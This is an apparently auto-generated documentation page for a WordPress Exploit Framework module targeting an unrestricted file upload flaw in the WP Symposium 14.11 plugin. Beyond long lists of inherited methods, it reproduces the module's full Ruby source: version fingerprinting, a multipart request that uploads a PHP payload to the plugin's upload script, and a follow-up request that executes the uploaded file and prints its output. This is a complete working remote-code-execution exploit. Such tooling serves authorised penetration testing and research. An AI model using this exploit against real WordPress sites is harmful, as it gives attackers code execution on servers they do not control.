Class: Wpxf::Exploit::SymposiumShellUpload

Inherits:
Module
  • Object
show all
Includes:
Wpxf, Net::HttpClient
Defined in:
lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb

Constant Summary

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ SymposiumShellUpload

Returns a new instance of SymposiumShellUpload.



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# File 'lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb', line 7

def initialize
  super

  update_info(
    name: 'WP Symposium 14.11 Unrestricted File Upload',
    desc: 'WP Symposium Plugin for WordPress contains a flaw that allows a '\
          'remote attacker to execute arbitrary PHP code. This flaw exists '\
          'because the /wp-symposium/server/file_upload_form.php script '\
          'does not properly verify or sanitize user-uploaded files. By '\
          'uploading a .php file, the remote system will place the file in '\
          'a user-accessible path. Making a direct request to the uploaded '\
          'file will allow the attacker to execute the script with the '\
          'privileges of the web server.',
    author: [
      'Claudio Viviani', # Vulnerability disclosure
      'rastating'        # WPXF module
    ],
    references: [
      ['WPVDB', '7716']
    ],
    date: 'Dec 11 2014'
  )
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb', line 31

def check
  check_plugin_version_from_readme('wp-symposium', '14.12')
end

#payload_body_builder(payload_name, directory_name) ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb', line 44

def payload_body_builder(payload_name, directory_name)
  builder = Utility::BodyBuilder.new
  builder.add_field('uploader_uid', '1')
  builder.add_field('uploader_dir', "./#{directory_name}/")
  builder.add_field('uploader_url', symposium_url.sub(base_uri, ''))
  builder.add_file_from_string('files[]', payload.encoded, payload_name)
  builder
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb', line 53

def run
  return false unless super

  emit_info 'Preparing payload...'
  payload_id = Utility::Text.rand_alpha(10)
  payload_file = "#{payload_id}.php"
  payload_url = normalize_uri(symposium_url, payload_id, payload_file)
  builder = payload_body_builder(payload_file, payload_id)

  emit_info 'Uploading the payload...'
  res = nil
  builder.create do |body|
    res = execute_post_request(url: normalize_uri(symposium_url, 'index.php'), body: body)
  end

  if successful_upload(res)
    emit_success "Uploaded the payload to #{payload_url}", true
    emit_info 'Executing the payload...'
    res = execute_get_request(url: payload_url)

    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    return true
  else
    emit_error "HTTP status: #{res.code}", true
    emit_error "Server returned: #{res.body}", true
    emit_error 'Failed to upload the payload'
    return false
  end
end

#successful_upload(res) ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb', line 39

def successful_upload(res)
  res && res.code == 200 && res.body.length > 0 &&
  !res.body.include?('error') && !res.body.eql?('0')
end

#symposium_url ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb', line 35

def symposium_url
  normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
end